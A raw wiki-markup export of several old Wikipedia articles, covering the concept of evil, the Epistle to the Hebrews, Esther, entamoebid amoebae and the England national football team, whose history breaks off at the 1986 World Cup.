For the French philosopher [[Michel Henry]], [[God]] is the invisible [[Phenomenological life|Life]] that never stops to generate us and to give us to ourselves in its pathetic self-revelation. God is Love because Love itself in an infinite love ''is'' Life. By consequence life is good in itself. The evil corresponds to all what denies or attacks life, it finds its origin in death which is the negation of life. This death is an inner and spiritual death which is the separation with God, and which consists simply in not loving, in living selfishly as if God didn't exist, as if he was not our Father of us all and as if we were not all its beloved Sons, as if we were not all Brothers generated by a same Life. The evil peaks in the violence of hatred that is at the origin of all the crimes, of all the wars and of all the genocides. But the evil is also the common origin of all those blind processes and of all those false abstractions that lead so many people to misery and exclusion.

==Is evil universal?==
A fundamental question is whether there is a universal, transcendant definition of evil, or whether evil is determined by one's social or cultural background.  [[C. S. Lewis]], in ''[[The Abolition of Man]]'', maintained that there are certain acts that are universally considered evil, such as rape and murder.  On the other hand, it is hard to find any act that was not acceptable in some society.  The [[Ancient Rome|Romans]] celebrated the [[Rape]] of the [[Sabine]] women.  The [[Ancient Greek|Greeks]] wrote favorably about [[child sexual abuse|sex]] between adults and children. The fictional [[serial killer]] [[Hannibal Lecter]] is given many admirable qualities. The [[Nazi]]s, during [[World War II]], found [[genocide]] acceptable, as did the [[Imperial Japanese Army]] with the [[Nanking Massacre]]. Today, there is strong disagreement as to whether [[homosexuality]] and [[abortion]] are perfectly acceptable or ultimate evils. 

Views on the nature of evil tend to fall into one of two opposed camps. One, [[moral absolutism]], holds that good and evil are fixed concepts established by [[God]], nature, or some other authority. The other, [[moral relativism]], holds that standards of good and evil are only products of local culture, custom, or prejudice. [[Moral universalism]] is a recent humanist term to find a compromise between the unattainable absolutist sense of morality, and the relativist view.

A looser definition of evil describes it as death and [[suffering]], whether it results from human or from other natural causes (e.g., [[earthquakes]] and [[famine]]). In other words, it is not merely the intention to do evil, but the end result, namely, harm to others, that is evil. This is sometimes referred to as &quot;natural evil,&quot; and some philosophers hold the position that this is an inappropriate use of the word &quot;evil,&quot; as it is without intent.

As [[Plato]] observed, there are relatively few ways to do good, but there are countless ways to do evil, which can therefore have a much greater impact on our lives, and the lives of other beings capable of suffering. For this reason, some philosophers (e.g. [[Bernard Gert]]) maintain that preventing evil is more important than promoting good in formulating moral rules and in conduct.

Some people define evil as not only a person who inflicts pain and suffering but does so for either solely selfish reasons (i.e. power or wealth) or because they are [[sadistic]] (which would mean they gain pleasure from it, placing it again entirely selfish). Under their definition of evil, a person who commits morally wrong acts but does so truly believing the ends justifies the means would not be evil, even if most people disagreed the ends justified the means. Even when they agree that the ends in and of themselves are morally wrong, so long as the person believes they are doing right regardless of how misguided they may be, they would not classify them as evil. This does not mean they do not view their actions as morally wrong, just that they do not see an evil intent in them. The intent of the actions is a key factor for them. Thus, for example [[Osama Bin Laden]] would not be evil as his motives are based on his belief that [[western culture]] is corrupt and evil.

Regardless of the source of their definitions, most human cultures have a set of beliefs about what things, actions, and ideas are undesirable. Undesirable circumstances are often categorized as evil within some cultures. Natural evils generally include accidental death, disease, and other misfortunes, although some cultures see these occurrences instead as a healthy part of the natural order. Moral evils generally include violence, deceit or other destructive behavior toward others, although the same behavior toward &quot;outsiders&quot; of the group may be considered &quot;good.&quot; War provides many examples, and &quot;God is always on the winning side.&quot;

Many cultures recognize many levels of immoral behaviour, from minor vices to major crimes. These beliefs are often encoded into the [[law]]s of a society, with methods of judgment and punishment for offenses.

==Is evil a useful term?==
The definition of evil has engendered some debate, much as the term [[terrorism]] has. It has been said that evil is subjective, that one person's idea of evil can be another person's idea of good, much like one person's terrorist is a freedom fighter of another. The term is often used by people or groups against their enemies, largely to evoke a strong emotional response against the person or group. For example, this claim has been made by some critics of the U.S. President [[George W. Bush]] with regard to his labeling [[North Korea]], [[Iraq]], and [[Iran]] as part of an &quot;[[Axis of Evil]]&quot;.

Many critics reject the current common usage of the term evil, suggesting that motivation must be taken into account. Thus, they feel it is inappropriate to apply the term to just anyone committing significant acts of violence such as terrorism and mass murder. Only those people motivated by sadism, lust for power or greed of wealth (in many forms) should qualify as evil. That does not mean they think violent acts like terrorism and murder are acceptable, just that perpetrators of those acts should not automatically be labeled evil. Under such applications of the term evil, malicious juveniles and sadistic minors are classified as evil despite their misguided purposes.

There is a school of thought that holds that no ''person'' is evil, that only ''acts'' may be properly considered evil.

Some critics also feel the term evil is too closely linked with [[religion]], particularly [[Christianity]] and [[Islam]]. Because of this, they think the term should be avoided in political discussion, especially in reference to members of other religions or leaders. They might be also add that since use of the term evil to describe one's enemies is so comfortable that it removes all possibility of empathy and necessity for self-examination, its use usually indicates an absolutist or extremist attitude on the part of the user, regardless of his or her belief-system.

Psychologist and mediator [[Marshall Rosenberg]] claims that the root of violence is the very concept of &quot;evil&quot; or &quot;badness.&quot; When we label someone as bad or evil Rosenberg claims, it invokes the desire to punish or inflict pain. It also makes it easy for us to turn off our feelings towards the person we are harming. He cites the use of language in Nazi Germany as being a key to how the German people were able to do things to other human beings that they normally wouldn't do. He links the concept of evil to our judicial system, which seeks to create justice via punishment &amp;mdash; &quot;punitive justice&quot; &amp;mdash; punishing acts that are seen as bad or wrong. He contrasts this approach with what he found in cultures where the idea of evil was non-existent. In such cultures, when someone harms another person, they are believed to be out of harmony with themselves and their community, they are seen as sick or ill and measures are taken to restore them to a sense of harmonious relations with themselves and others, as opposed to punishing them.

Psychologist [[Albert Ellis]] makes a similar claim, in his school of psychology called Rational Emotive Behavioral Therapy or [[REBT]]. He says the root of anger, and the desire to harm someone, is almost always one of these beliefs:

# That they should/shouldn't have done certain things
# That someone is awful/bad/horrible person for doing what they did
# That they deserve to be punished for what they did

He claims that without one of the preceding thoughts, violence is next to impossible.

[[Peter Singer]]'s book, ''The President of Good and Evil'' uses the case of [[George W. Bush]] to illustrate how 'evil' can become a dangerous [[reification]].

==Is evil good?==
[[Anton LaVey]] is one of many who assert that evil is actually good (an often-used slogan is, &quot;evil is live spelled backwards&quot;). This belief is usually a reaction to religious definitions of evil, which some think oppose the natural pleasures of life or the natural instincts of men and women.  In the more extreme cases, however, this belief can extend to the claim that hurting others is acceptable if you can get away with it.

In modern slang, &quot;bad&quot; has become a synonym for &quot;good&quot;, as in &quot;Man, that's a bad piece of music.&quot; In the [[tabletop role-playing game]] [[Dungeons and Dragons]], players may choose to play as a character whose alignment is evil, although this is not encouraged for normal play. The ability to choose between good and evil is also a major theme of a number of video games, including [[Fable (video game)]], and [[Prince of Persia: The Two Thrones]]. The play ''[[The Rocky Horror Show]]'' and the motion picture based on the play can be seen as a celebration of evil.

In politics, the acceptance of evil is often called, &quot;playing hardball,&quot; or, in the words of US Vice President [[Dick Cheney]], making a reference to [[Star Wars]] in a speech given [[September 11]], [[2001]], &quot;we also have to work ... sort of the dark side ...&quot;. It is not uncommon to find people in power who are indifferent to good or evil, taking actions based solely on self-interest; this approach to politics was championed by [[Niccolò Machiavelli]], a sixteenth century Florentine writer and politician who declared in ''The Prince'', &quot;the ends justifies the means... The world consists mainly of vulgar people and the few who are honorable can safely be ignored when so many vulgar rally around the prince.&quot; The [[international relations]] theories of [[Realism_in_international_relations|realism]] and [[neorealism]], to which Machiavelli is a philosophical contributor, explicitly disavow absolute moral and ethical considerations in international politics in favor of a focus on self-interest, political survival, and power politics, which they hold to be more accurate in explaining a world they view as explicitly [[anarchy|anarchic]] and dangerous. It should be noted that political realists, including Machiavelli, usually justify their perspectives by laying claim to a &quot;higher moral duty&quot; specific to political leaders, under which the greatest evil is seen to be the failure of the state to protect itself and its citizens. Machiavelli explicitly states : &quot;[A prince] need not worry about incurring the disgrace of those vices without which it would be difficult for him to save the state, for if everything is carefully considered, it will be found that something which seems a virtue would, if practiced, become his ruin, and some other thing, which seems a vice, would, if practiced, result in his security and well-being.&quot;

==Sociological views on evil==
Some [[sociology|sociologists]], [[psychology|psychologists]], [[psychiatry|psychiatrists]] and [[neuroscience|neuroscientists]] have attempted to construct scientific explanations for the development of specific characteristics of an &quot;antisocial&quot; personality type, called the [[sociopath]]. The sociopath is typified by extreme self-serving behavior, and a lack of [[conscience]], or inability to [[empathy|empathize]] with others, to restrain self from, or to feel remorse for, harm personally caused to others. However, a diagnosis of antisocial or sociopath personality disorder (formerly called psychopathic mental disorder), is sometimes criticized as being, at the present time, no more scientific than calling a person &quot;evil&quot;. What critics perceive to be a [[morality|moral]] determination is disguised, they argue, with a scientific-sounding name, but no complete description of a mechanism by which the abnormality can be identified is provided. In other words, critics argue, &quot;sociopaths&quot; are called such, because they are first thought to be &quot;evil&quot; - a determination which itself is not derived by a [[scientific method]].

Research into sociopathology has also investigated biological, rather than moral underpinnings of behaviors that societies reject as sociopathic. Most neurological research into sociopathology has focused on regions of the neocortex involved in impulse control. Some other research seems to indicate that sociopathy may at least partially be related to a lack of ability to realize the true consequences of one's actions.

==Hacker jargon==
As used by computer [[hacker]]s, the jargon term ''evil'' implies that some system, program, person, or institution is sufficiently maldesigned as to be not worth the bother of dealing with. Unlike the adjectives in the cretinous/losing/[[brain damage]]d series, ''evil'' does not imply incompetence or bad design, but rather a set of goals or design criteria fatally incompatible with the speaker's, and often acts as a synonym for the word ''difficult''. This usage is more an aesthetic and engineering judgment than a moral one in the mainstream sense. ''&quot;We thought about adding a Blue Glue interface but decided it was too evil to deal with,&quot;'' or ''&quot;[[Text Editor and Corrector|TECO]] is neat, but it can be pretty evil if you're prone to typos.&quot;'' Often pronounced with the first syllable lengthened, as {{Unicode|/'i:::v&amp;#618;l/.}} Compare to [[evil and rude]].

The usage of evil as a prefix for usernames or email addresses on the [[Internet]] can be traced back to &quot;evilsteven&quot;, a founding member of the noend listservs in [[San Francisco]] and [[New York]].

==See also==
{{selfref|In Wikipedia, see [[Wikipedia:Voting is evil]].}}
* [[Axis of Evil]]
* [[Bad]]
* [[Evil empire]]
* [[Goodness and value theory]]
* [[Law]]
* [[Philosophy]]
* [[Religion]]
* [[Problem of evil]]

==References==
* Shermer, M. (2004). ''The Science of Good &amp; Evil.'' New York: Time Books. [ISBN 080507520]
*[[Peter Singer]], (2004). ''The President of Good and Evil: The Ethics of [[George W. Bush]]'', New York: Granta. [ISBN 0525948139]
* Thims, L. (2005). &quot;[http://www.humanthermodynamics.com/JHT-evil-types.html Evil, Stability, and Predisposed Movements]&quot;, ''Journal of Human Thermodynamics'', Vol. 1., Issue 1, pgs: 1-12. ([[ISSN|ISSN 1559-386X]])

==External links==
* [http://www.tenbiggestmyths.net/spirituality/original.sin Original Sin: The Origin of Evil]
* [http://www.chabad.org/search/keyword.asp?kid=1229 Good and Evil in Judaism] chabad.org

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  <page>
    <title>Epistle to the Hebrews</title>
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      <text xml:space="preserve">{{Books of the New Testament}}
The '''Epistle to the Hebrews''' (abbreviated '''Heb.''' for [[citation]]s) is one of the most consciously &quot;literary&quot; books in the [[New Testament]]. The purity of its Greek was noted by [[Clement of Alexandria]], according to [[Eusebius]] (''Historia Eccl.'', VI, xiv), and [[Origen]] asserted that that every competent judge must recognize a great difference between this epistle and Paul's (Eusebius, VI, xxv). Although the author is unknown, Hebrews has been dated to shortly after the [[Pauline epistle]]s were collected and began to circulate, circa AD 95.

The letter has carried its traditional title since [[Tertullian]] described it as ''Barnabae titulus ad Hebraeos'' in ''De Pudicitia'' chapter 20.

This letter consists of two strands:

::An expositional or doctrinal strand (1:1-14, 2:5-18, 5:1-14, 6:13-9:28, 13:18-25)

::A hortatory or ethical strand which punctuates the exposition parenthetically at key points as warnings to the readers (2:1-4, 3:1-4:16, 6:1-12, 10:1-13:17)

Hebrews contains many references to the [[Old Testament]]&amp;mdash;specifically to its [[Septuagint]] text&amp;mdash;and references to all but two of the canonical letters of Paul. It has been regarded as a treatise supplementary to the [[Epistle to the Romans|Romans]] and [[Galatians]], and as a kind of commentary on the book of [[Leviticus]] and [[Temple in Jerusalem|Temple]] worship in general.  Its numerous references to Temple worship in the present tense have been used to date the epistle before the destruction of the Temple (AD [[70]]), but the evidence is not conclusive.

==Authorship==
A number of candidates for the authorship of Hebrews have been advanced from earliest times, including the Apostle Paul. However, the epistle makes no internal claim of authorship, which is inconsistent with the rest of Paul's epistles.  Also, while many of the letter's ideas are Pauline, the writing style is substantially different from that of Paul's epistles. For example, the ''Epistle'' does not open with the preamble typical of Paul. In particular, Hebrews claims to have been written by a person who received the Christian message from others (see Hebrews 2.4). But Paul in his letter to the Galatians forcefully defends his claim that he received his gospel directly from Jesus. 

Other candidates for the authorship of Hebrews include Paul's companion [[Silas]]; [[Pope Clement I]], the traditional author of the ''[[Epistles of Clement|First Epistle of Clement]]''; [[Luke the Evangelist|Luke]]; or some unknown Alexandrian Christian. Two leading candidates are [[Barnabas]], first suggested by Tertullian (see above); and [[Apollos]], first suggested by [[Martin Luther]]. Modern scholarship has reached no strong consensus. The letter has, however, always been accepted as part of the New Testament [[Biblical canon|canon]].

This is one of the few Epistles in the Bible that have no distinct author. Yet there is good reason for this. If Paul had written it it was not becoming that he should write, &quot;Paul an Apostle of Jesus Christ..&quot; in the introduction because Jesus Christ is seen as the Apostle in this Epistle. Hebrews 3:1, &quot;Wherefore, holy brethren, partakers of [the] heavenly calling, consider the Apostle and High Priest of our confession, Jesus.&quot;

==Place in the New Testament canon==
Hebrews is often erroneously named as one of the General or Catholic epistles. But since it was written to a specific group of Christians, it is not technically a general epistle. Hebrews is placed between Paul's epistles and the General Epistles in modern editions of the New Testament.

==Audience==
Hebrews was written to a specific audience facing very specific circumstances. We can discern various facts about the recipients of Hebrews through a careful mirror reading of the letter:
:*The readers were conversant in the Septuagint translation of the Old Testament, as the author's usage shows.&lt;br&gt;
:*The contrast in 13:14 and the types of sins listed in chapter 13 suggest they lived in a city.&lt;br&gt;
:*They had once faced persecution (10:32-34), but not to the point of shedding blood (12:4). It is possible that 12:1-3 and 13:12-13 imply that they would soon face renewed oppostion.&lt;br&gt;
:*Some had stopped attending the worship services (10:22), and those who remained struggled with apathy and indifference, and ran the risk of abandoning their Christian faith (see the warning sections).&lt;br&gt;
:*Specifically they were Jewish Christians who ran the risk of reverting to a Judaism that rejects Christ. The author warned them that if they reject the sacrifice of Christ's death on the cross, there remains no other sacrifice to which they can turn. The animal sacrifices of first-century Judaism would not be able to help them(10:26). They must follow Christ &quot;outside the camp&quot; (that is, outside Judaism). &lt;br&gt;
:*In 13:14 the author says that those from Italy greet the readers. This could mean that the author is writing from Italy or that the author is writing to recipients in Italy, and that Italians present with the author are greeting those back home.

However, the preceding description of the audience as Jewish Christians is not unanimously received. While this interpretation has been held from as early as the end of the second century to the present (hence its title, &quot;The Epistle to the Hebrews&quot;), Liberal American theologian [[Edgar Goodspeed]] was not of this view; he wrote, &quot;But the writer's Judaism is not actual and objective, but literary and academic, manifestly gained from the reading of the Septuagint Greek version of the Jewish scriptures, and his polished Greek style would be a strange vehicle for a message to Aramaic-speaking Jews or Christians of Jewish blood....&quot;

==Purpose for writing==
The author's intent was to demonstrate a new interpretation of the true end and meaning of Mosaic law and assert its symbolical and transient character.  He declares that the Levitical priesthood was a foreshadowing of the mission of [[Jesus]], and that the legal sacrifices prefigured the [[Crucifixion]]. Therefore the gospel was designed not to modify the law of Moses, but to supersede and abolish it. This was written partly to counter the [[Ebionite]]s, Jewish Christians who continued Jewish practices while accepting Christ. The emphatic text of the epistle reiterates the view of [[Pauline Christianity]] that the new covenant has ''superseded'' the old. 

==See also==
*[[Authorship of the Pauline epistles]]

==External links==
Online translations of the [[Epistle to the Hebrews]]:
* {{biblegateway||Hebrews}}

Related articles:
* [http://www.earlychristianwritings.com/goodspeed/ch16.html Goodspeed's introductory analysis of ''Hebrews''], 1908 at earlychristianwritings.com
* [http://www.newadvent.org/cathen/07181a.htm ''Catholic Encyclopedia'':] Epistle to the Hebrews
* [http://www.ccel.org/e/easton/ebd/ebd.html ''Easton's Bible Dictionary'' 1897:] Epistle to the Hebrews
* [http://wesley.nnu.edu/wesleyan_theology/theojrnl/16-20/16-13.htm Holiness in Hebrews] by Wayne McCown
*[http://www.biblaridion-online.net/zine-online/zine05q2/bibzine05q2_p1.html ''Biblaridion magazine'':]    A critical examination of the destination, authorship and dating of the Epistle to the Hebrews
*[http://www.plymouthbrethren.org/passage.asp Hebrews from the Biblical Resource Database]


&lt;center&gt;
&lt;br&gt;
{| border=&quot;1&quot; style=&quot;border-collapse: collapse&quot;
|- bgcolor=&quot;darkgray&quot;
|colspan=3|&lt;center&gt;'''Books of the Bible'''
|- bgcolor=&quot;gainsboro&quot;
|&lt;Center&gt;Preceded by:&lt;br&gt;&lt;Center&gt;[[Epistle to Philemon|Philemon]]
|'''[[Epistles]]'''
|&lt;Center&gt;Followed by:&lt;br&gt;&lt;Center&gt;[[Epistle of James|James]]
|}
&lt;/center&gt;

[[Category:New Testament books|Hebrews]]
[[Category:Jewish Christian topics]]

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  <page>
    <title>Esther</title>
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      <comment>+ SIMPLE</comment>
      <text xml:space="preserve">{{otheruses}}

'''Haddassah''' more commonly known as '''Esther''' ('''&amp;#1488;&amp;#1462;&amp;#1505;&amp;#1456;&amp;#1514;&amp;#1468;&amp;#1461;&amp;#1512;''', [[Standard Hebrew]] '''Ester''', [[Tiberian Hebrew]] '''&amp;#702;Est&amp;#275;r''') was a woman in the [[Hebrew Bible]], the queen of [[Ahasuerus]] (commonly identified with [[Xerxes I of Persia|Xerxes I]] or [[Artaxerxes I of Persia|Artaxerxes I]]), and heroine of the Biblical [[Book of Esther]] which is named after her.  

==The name==
[[Image:Aert de Gelder 004.jpg|thumb|left|Esther and Mordecai, by Aert de Gelder]]
According to the [[Book of Esther]] she was a Jewish woman originally named Hadassah. When she entered the royal [[Harem (household)|harem]] she received the name Esther by which she was hence forth known. ''Hadassah'' means &quot;[[myrtle]]&quot; in [[Hebrew language|Hebrew]] and the name ''Esther'' is most likely related to the [[Medes|Median]] word for myrtle, ''astra'' , the [[Kurdish language|Kurdish]] words ''Estêre'' and ''Istêr'',the [[Persian language|Persian]] word ''setareh'' meaning [[star]] &amp;mdash; the myrtle blossom resembles a twinkling star.

''Esther'' can also be understood to mean &quot;hidden&quot; in Hebrew, and her name is interpreted thus in [[Midrash]], where it is told that Esther hid her nationality and lineage as Mordecai had advised. In addition [[God]]'s workings are hidden in the events of the Book of Esther even though he is never mentioned explicitly.

The [[Targum]] provides another Midrashic explanation claiming that she was as beautiful as the [[Evening Star]], which is ''astara'' in [[Greek language|Greek]]. Critics of the historicity of the [[Book of Esther]] attempt to derive the name from [[Ishtar]], the pagan goddess associated with the Evening Star, although the usual Hebrew rendition of the latter name is the phonetically unrelated [[Ashtoreth]]. The names may nevertheless be coincidentally related, as the [[Semitic languages|Semitic]] name ''Ishtar'' may share a common origin with [[Indo-European languages|Indo-European]] words for ''star''.

==The story==
[[Image:Esther-mordechai.jpg|thumb|right|The Shrine of Esther and [[Mordechai]] in [[Hamadan]], [[Iran]], is a popular attraction for Iranian Jews.]]

Esther was the daughter of Abihail, a [[Benjamin|Benjamite]]. She resided with her cousin [[Mordecai]], who held some office in the household of the Persian king at &quot;[[Susa|Shushan]] in the palace.&quot; 

Ahasuerus, having rid himself of [[Vashti]], chose Esther to be his wife and queen. Soon after this he gave [[Haman (Judaism)|Haman]] the Agagite, his prime minister, power and authority to kill and extirpate all the [[Jew]]s throughout the Persian empire. By the intervention of Esther this attempted genocide was averted. Haman was hanged on the [[gallows]] he had intended for Mordecai; and the Jews established an annual feast, the feast of [[Purim]], in memory of their wonderful deliverance. According to traditional Jewish dating this took place about fifty-two years after the Return.

Esther appears in the Bible as a woman of deep piety, faith, courage, patriotism, and caution, combined with resolution; a dutiful daughter to her adopted father, docile and obedient to his counsels, and anxious to share the king's favour with him for the good of the Jewish people.  That she was raised up as an instrument in the hand of [[God]] to avert the destruction of the Jewish people, and to afford them protection and forward their wealth and peace in their captivity, is manifest from the Scripture account.

For a discussion of the historicity of Esther, see ''[[Book of Esther]]''.

==Modern retelling==
A [[film|movie]] about Esther and Ahasuerus, entitled ''[[One Night with the King: The Call of Destiny]]'', is rescheduled for a 2006 release.

In [[2001]], [[VeggieTales]], a company that uses [[CGI]] [[vegetables]] to teach children lessons from the [[Bible]] in a comical way, released ''Esther: The Girl Who Became Queen'', which retells the story of Esther.

==See also==
* [[Vashti]]
* [[Mordecai]]
* [[Ishtar]], [[Marduk]]

[[Category:Tanakh people]]
[[Category:Achaemenid dynasty]]
[[Category:Persian queen consorts]]

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    <title>Entamoebid</title>
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      <comment>nomialbot — converted multi-template taxobox to {{Taxobox}}</comment>
      <text xml:space="preserve">{{Taxobox
| color = khaki
| name = Entamoebids
| regnum = [[Protist]]a
| phylum = [[Amoebozoa]]
| ordo = '''Entamoebida'''
| subdivision_ranks = Species
| subdivision = 
''[[Entamoeba coli]]''&lt;br&gt;
''[[Entamoeba histolytica]]''&lt;br&gt;
''[[Entamoeba invadens]]''&lt;br&gt;
''[[Endolimax nana]]''&lt;br&gt;
etc.
}}
The '''entamoebids''' or '''entamoebae''' are a group of [[amoebozoa]] found as internal [[parasite]]s or commensals of animals.  The cells are uninucleate small, typically 10-100 &amp;mu;m across, and usually have a single lobose pseudopod taking the form of a clear anterior bulge.  There are two major genera, ''Entamoeba'' and ''Endolimax''.  They include several species that are pathogenic in humans, most notably ''[[Entamoeba histolytica]]'', which causes amoebic [[dysentery]].

Entamoebids lack [[mitochondrion|mitochondria]].  This is a secondary loss, possibly associated with their parasitic life-cycle.  Studies show they are close relatives of the [[pelobiont]]s, another group of amitochondriate amoebae, but unlike them entamoebids retain [[dictyosome]]s.  Both groups are now placed alongside other lobose amoebae in the phylum Amoebozoa.

Studying ''Entamoeba invadens'', [[David Biron]] of the [[Weizmann Institute of Science]] and coworkers found that about one third of the cells are unable to separate unaided and recruit a neighboring amoeba (dubbed the &quot;midwife&quot;) to complete the fission.  He writes:

:''When an amoeba divides, the two daughter cells stay attached by a tubular tether which remains intact unless mechanically severed.  If called upon, the neighbouring amoeba midwife travels up to 200 &amp;mu;m towards the dividing amoeba, usually advancing in a straight trajectory with an average velocity of about 0.5 &amp;mu;m/s.  The midwife then proceeds to rupture the connection, after which all three amoebae move on.''


They also reported a similar behavior in ''[[Dictyostelid|Dictyostelium]]''.

== References ==

* [[Nature (journal)|Nature]] 410, 430 ([[22 March]] [[2001]]); doi:10.1038/35068628.
[[Category:Amoeboids]][[Category:Amoebozoa]][[Category:Parasites]]</text>
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    <title>England national football team</title>
    <id>9904</id>
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      <comment>/* Current players */ valign=top</comment>
      <text xml:space="preserve">{{National football team 
| Name               = England 
| Badge              = England 030206b.GIF
| Nickname           = Three Lions 
| Association        = [[The Football Association]] 
| Coach              = [[Image:Flag_of_Sweden.svg|20px|Swedish]] [[Sven-Göran Eriksson]],&lt;br&gt; [[2001]]-present 
| Most caps          = [[Peter Shilton]] (125)
| Top scorer         = [[Bobby Charlton|Sir Bobby Charlton]] (49)
| pattern_la1=|pattern_b1=|pattern_ra1=
| leftarm1=FFFFFF|body1=FFFFFF|rightarm1=FFFFFF|shorts1=000099|socks1=FFFFFF
| pattern_la2=|pattern_b2=|pattern_ra2=
| leftarm2=FF0000|body2=FF0000|rightarm2=FF0000|shorts2=FFFFFF|socks2=FF0000
| First game         = [[Scottish national football team|Scotland]] 0 - 0 England&lt;br /&gt;([[Partick]], [[Scotland]]; [[30 November]], [[1872]]) 
| Largest win        = [[Northern Ireland national football team|Ireland]] 0 - 13 England&lt;br/&gt;([[Belfast]], [[Ireland|Northern Ireland]]; [[18 February]], [[1882]]) 
| Largest loss       = [[Hungary national football team|Hungary]] 7 - 1 England&lt;br/&gt;([[Budapest]], [[Hungary]]; [[23 May]], [[1954]]) 
| World cup apps     = 12 
| World cup first    = 1950 
| World cup best     = Winners, [[Football World Cup 1966|1966]] 
| Regional name      = [[European Football Championship|European Championship]] 
| Regional cup apps  = 7 
| Regional cup first = [[1968 European Football Championship|1968]] 
| Regional cup best  = Third, [[1968 European Football Championship|1968]], Semi-finals, [[1996 European Football Championship|1996]]
}}
The '''England national football team''' represents [[England]] in international [[football (soccer)|football]] competitions such as the [[Football World Cup|World Cup]] and the [[European Football Championship|European Championships]]. It is controlled by [[The Football Association]], the governing body for football in England.

As the founders of the game and sport, England's governing body is the only one to use the acronym FA without a preceding letter signifying national affiliation as the English would believe it redundant. 

Due to historical precedent, and continuing national sentiment among them, each of the four [[Home Nations]] of the United Kingdom possesses its own separate football association, domestic league and national team. Because the [[International Olympic Committee|IOC]] does not accept regional representative teams, England, like the other three, do not compete in [[Football at the Summer Olympics|Olympic football]].

England are by far the most successful of the Home Nations, having won the [[Football World Cup 1966|1966 World Cup]] and the [[British Home Championship]] outright thirty-four times, as many as the other three nations have won outright altogether.

==History==
===Early years===
England played in the first ever international football match, against [[Scotland national football team|Scotland]]  at [[Hamilton Crescent]] in [[Partick]], [[Glasgow]], [[Scotland]] on [[November 30]], [[1872]]. The result was 0-0; England had to wait until the following year to record their first win, 4-2, over Scotland at the [[Kennington Oval]].

England would only play the other Home Nations (Scotland, [[Wales national football team|Wales]] and what was then [[Northern Ireland national football team|Ireland]]) for nearly 40 years - partly due to the dominance of the UK in international football, as well as the problems of arranging internationals in the days before [[air travel]] was commonplace. England first played Continental opposition in a [[1908]] tour of [[Central Europe]], recording easy wins over [[Austria national football team|Austria]], [[Hungary national football team|Hungary]] and [[Czech Republic national football team|Bohemia]]. England's first defeat to a team outside the [[British Isles]] came in [[1929]], when they lost 4-3 to [[Spain national football team|Spain]] in [[Madrid]].

The FA had joined [[FIFA]] in [[1906]], but the relationship between FIFA and the British associations was fraught, and the British nations withdrew from FIFA in [[1928]], in a dispute over payments to [[amateur]] players. This meant that England did not enter the first three [[Football World Cup|World Cup]]s. However many in England declared the team unofficial &quot;World Champions&quot; after they defeated [[Football World Cup|1934 World Cup]] winners [[Italy national football team|Italy]] in the &quot;[[Battle of Highbury]]&quot; in November [[1934]].

===Post-war===
After the [[World War II|Second World War]], the FA started to modernise their approach; they rejoined [[FIFA]] in [[1946]], the same year they appointed the first dedicated [[#England managers|team manager]], [[Walter Winterbottom]] (before then, the team was picked by a committee). England lost their first match at home to non-British opposition when they were defeated 0-2 by the Republic of Ireland in 1949 at Goodison Park, Liverpool.England's World Cup debut came in [[Football World Cup 1950|1950]]; however, they suffered an infamous [[England v United States (1950)|1-0 loss]] to the [[United States men's national soccer team|United States]] and failed to get beyond the first group stage. England struggled in the [[Football World Cup 1954|1954]] and [[Football World Cup 1958|1958]] tournaments, and all the signs pointed to how far English football had fallen behind the rest of the world.

England's tactical inferiority was highlighted on [[November 25]], [[1953]], when [[Hungary national football team|Hungary]] came to visit [[Wembley Stadium]]. Hungary, one of the best sides in the world and fielding legendary players such as [[Sándor Kocsis]] and [[Ferenc Puskás]], [[England v Hungary (1953)|outclassed the English 6-3]] - this was England's first ever home loss to Continental opposition. In the return match in [[Budapest]], Hungary won 7-1, which still stands as England's worst ever defeat.

By the 1960s English tactics and training had started to improve, and England turned in a respectable performance in the {{Wc|1962}}, losing in the quarter-finals to eventual winners [[Brazil national football team|Brazil]]. After Winterbottom retired in [[1962]], former captain [[Alf Ramsey]] was appointed; Ramsey boldly predicted that England would win the following tournament, which England were hosting.

===1966 World Cup===
Ramsey's prediction came true, and the [[Football World Cup 1966|1966 World Cup]] was England's finest moment. Captained by [[Bobby Moore]], England's &quot;Wingless Wonders&quot; dispatched [[Argentina national football team|Argentina]] and then [[Portugal national football team|Portugal]] to set up a final with [[Germany national football team|West Germany]] at Wembley. England won 4-2 after [[extra time]], with three goals from [[Geoff Hurst]] and one from [[Martin Peters]]. The game popularized the British catchphrase &quot;[[They Think It's All Over|They think it's all over... it is now!]]&quot;, which were [[BBC]] [[commentator]] [[Kenneth Wolstenholme]]'s words as Hurst scored his third goal in the 120th minute.

===Decline in the 1970s===
England came third in the [[1968 European Football Championship|1968 European Championships]], and were one of the favourites to win the [[Football World Cup 1970|1970 World Cup]]; however, they fell in the quarter-finals to West Germany 3-2, having been 2-0 up. West Germany also beat England 3-1 on aggregate in the quarter-finals of the [[1972 European Football Championship|1972 European Championships]]. Worse was to come as England failed to qualify for the [[Football World Cup 1974|1974 World Cup]] after only managing a 1-1 draw against [[Poland national football team|Poland]] in a qualifier at Wembley, largely thanks to the heroics of Polish goalkeeper [[Jan Tomaszewski]]. In the aftermath of England's failure to reach the World Cup Finals, the FA sacked Sir Alf Ramsey. Of their 113 matches under Ramsey, England had won 69 and drawn 27. There was widespread distaste that, given his distinguished record, Ramsey had not been given the opportunity to resign.

After a brief period where [[Joe Mercer]] was [[caretaker manager]] of the side, the FA appointed [[Don Revie]] as Ramsey's permanent successor. He fared even worse than Ramsey, as England failed to qualify from the group stages of the [[1976 European Football Championship|1976 European Championships]]; Revie resigned halfway through England's unsuccessful bid to qualify for the [[Football World Cup 1978|1978 World Cup]]. At the same time the team were attracting an ever-growing [[hooligan]] element in their support, especially at their matches abroad - at the [[1980 European Football Championship|1980 European Championships]] [[Italy|Italian]] [[police]] deployed [[tear gas]] during a group match with [[Belgium national football team|Belgium]]. England qualified for the [[Football World Cup 1982|1982 World Cup]] but failed to progress from the second group stage despite not losing any of their matches, in another tournament marred by violence.

===Revival under Robson===
Although at the time he was widely derided by the press, [[Bobby Robson]] is now looked upon as one of England's more successful managers. Having failed to make the final stages of the [[1984 European Football Championship|1984 European Championships]] by losing out to [[Denmark]], he took England to the [[Football World Cup 1986|1986 World Cup]]. 
